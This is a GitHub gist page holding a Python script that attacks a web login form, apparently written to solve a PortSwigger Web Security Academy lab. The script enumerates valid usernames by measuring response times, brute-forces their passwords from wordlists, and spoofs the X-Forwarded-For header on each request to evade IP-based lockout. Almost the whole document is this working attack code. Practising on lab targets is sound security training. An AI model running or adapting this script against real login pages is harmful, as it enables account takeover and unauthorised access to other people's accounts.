Skip to content

Instantly share code, notes, and snippets.

@KrE80r
Last active June 10, 2021 13:23
Show Gist options
  • Save KrE80r/5bf963417e7205e4a279f90a9f7434f0 to your computer and use it in GitHub Desktop.
Save KrE80r/5bf963417e7205e4a279f90a9f7434f0 to your computer and use it in GitHub Desktop.
import requests, signal, sys, string, random
def read_file(file):
content = []
f = open(file, "r")
while(True):
linea = f.readline().rstrip('\n')
content.append(linea)
if not linea:
break
f.close()
del content[-1]
return content
def valid_username(url, usernames):
valid_usernames = []
for username in usernames:
headers = {'X-Forwarded-For':str(int(usernames.index(username)+.0)+1)}
password = ''.join(random.choice(string.ascii_letters) for i in range(random.randint(120,150)))
data = {"username":username,"password":password}
response_user = requests.post(url=url, data=data, headers=headers)
print("User: {}\t\tTime {}".format(username, response_user.elapsed.total_seconds()))
#avg respnse time range 0.5-0.65
if int(response_user.elapsed.total_seconds()) >= 1:
valid_usernames.append(username)
else:
pass
print("\nValid users are: {}".format(','.join(valid_usernames)))
return valid_usernames
def valid_password(url, valid_usernames, passwords):
valid_password = dict.fromkeys(valid_usernames, '')
for username in valid_usernames:
for password in passwords:
headers = {'X-Forwarded-For':str(int(passwords.index(password)+.0)+1)}
data = {"username":username,"password":password}
response_pass = requests.post(url=url, data=data, headers=headers, allow_redirects=False)
print("Trying password: {}\t\tUser: {}\t\tStatus code:{}".format(password,username,response_pass.status_code))
if response_pass.status_code == 200:
pass
else:
valid_password[username] = password
break
return valid_password
def def_handler(key,frame):
print("\n[*] Exiting")
sys.exit(1)
def pretty(valid_passwords):
for key, value in valid_passwords.items():
print("\n[*] {}:{}".format(key,value))
def main():
signal.signal(signal.SIGINT, def_handler)
url = "https://acd81fb61fd2891380d41dde003f00d5.web-security-academy.net/login"
print("\n[*] Validating username\n")
usernames = read_file("usernames")
valid_usernames = valid_username(url, usernames)
print("\n[*] Validating password\n")
passwords = read_file("passwords")
valid_passwords = valid_password(url, valid_usernames, passwords)
pretty(valid_passwords)
if __name__ == "__main__":
main()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment